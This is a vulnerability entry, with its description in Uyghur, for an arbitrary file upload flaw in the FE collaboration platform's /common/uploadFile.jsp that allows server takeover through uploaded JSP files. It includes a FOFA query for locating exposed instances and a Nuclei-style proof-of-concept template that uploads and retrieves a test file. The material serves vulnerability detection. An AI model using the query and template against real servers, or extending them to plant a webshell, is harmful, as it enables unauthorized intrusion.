Arbitrary file upload vulnerability

چۈشەندۈرىشى

FE سودا ھەمكارلىق سۇپىسىنىڭ /common/uploadFile.jsp كۆرۈنمە يۈزىدە خالىغان ھۆججەت يوللاش يوچۇقى بار. ھۇجۇم قىلغۇچى يامان غەرەزلىك JSP ھۆججىتىنى يۈكلەپ مۇلازىمېتىردا ئىجرا قىلالايدۇ ، بۇ ئارقىلىق مۇلازىمېتىرنى پۈتۈنلەي كونترول قىلالايدۇ.

fofa-query

body="FE协作"

POC

variables:
  rand: "{{rand_int(100000, 999999)}}"
  fname: "{{rand_int(100000, 999999)}}"
http:
  - raw:
      - |
        POST /common/uploadFile.jsp?action=save&savePath=/images/upload/&fileName=123.jpg&title1=%C9%CF%B4%AB%CE%C4%BC%FE&title2=%D1%A1%D4%F1%CE%C4%BC%FE&allowsize=null&extName=.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.1018.84 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456789
        Accept: */*

        ------WebKitFormBoundary123456789
        Content-Disposition: form-data; name="accessory"; filename="{{fname}}.txt"
        Content-Type: application/octet-stream

        test_{{rand}}
        ------WebKitFormBoundary123456789--

      - |
        GET /images/upload/{{fname}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.2331.38 Safari/537.36
    
      - |
          GET {{file}} HTTP/1.1
          Host: {{Hostname}}
          User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.2331.38 Safari/537.36

    extractors:
      - type: regex
        part: body
        name: file
        internal: true
        regex:
         - '/images/upload/(\d+.txt)'
     
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "test_{{rand}}"